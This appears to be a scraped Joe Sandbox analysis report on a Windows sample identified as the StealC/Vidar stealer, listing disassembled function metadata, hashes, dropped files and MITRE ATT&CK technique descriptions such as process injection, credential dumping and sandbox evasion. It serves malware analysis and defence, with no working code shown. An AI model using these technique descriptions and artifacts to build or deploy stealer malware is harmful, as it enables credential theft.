Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction ID: 1844423cb9bcfea72ee5bdbefba9bbbadc5b925da43fda4c14c0cdf3bf9e1e7c
Opcode Fuzzy Hash: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction Fuzzy Hash: 48D0123160915495C7116B979C45F96BABCC7C367AF10CC76E22842D104A6450FAD36D

Function 6C6B0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C6B0DF5
TlsGetValue.KERNEL32 ref: 6C6B0E2D
TlsGetValue.KERNEL32 ref: 6C6B0E58
TlsGetValue.KERNEL32 ref: 6C6B0E84

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction ID: 744a035fe7b52c0740bfd871d8ace85b4727ddb01dd1260ce638e671f2d8d351
Opcode Fuzzy Hash: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction Fuzzy Hash: B731E8F0645391CBDB005F78D6446A97FB4BF06348F118679E88897A11EB30D4A7CB89

Function 6C6B0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
malloc.MOZGLUE(00000001), ref: 6C6B0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42
TlsGetValue.KERNEL32 ref: 6C6B0F5B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction ID: ae60cf500922c526f57c7762f5cf6f2db0444915f73aba98d3560a5850282183
Opcode Fuzzy Hash: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction Fuzzy Hash: 8001DDF1F002506BE7101B3A9F049A67E6CEF52399F014171ED18D6A11EB31C465C7EA

Function 6C661EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C661ECE
free.MOZGLUE(?), ref: 6C661EDF
free.MOZGLUE(?), ref: 6C661EEF
free.MOZGLUE(?), ref: 6C661EF5

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction ID: e77b6c7f75642fe41c21af48cc66097eca8c0b5c486f7411565774c262e82046
Opcode Fuzzy Hash: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction Fuzzy Hash: 09F054B17005056BEB009BA6EC45E6773ACFF45695B140435EC19C3E00D726F51596A6

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAAAFCAK

C:\ProgramData\DHJECFCGHIDGHIDHDHIE

C:\ProgramData\EBFBFBFI

C:\ProgramData\ECGDHIDAAFHIIDGDBFIECFCFHI

C:\ProgramData\GDBAKKKFBGDHJKFHJJJJ

C:\ProgramData\JJDBAAEGDBKKECBGIJEB

C:\ProgramData\KJJKEBGHJKFIDGCAAFCAFCBAKF

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre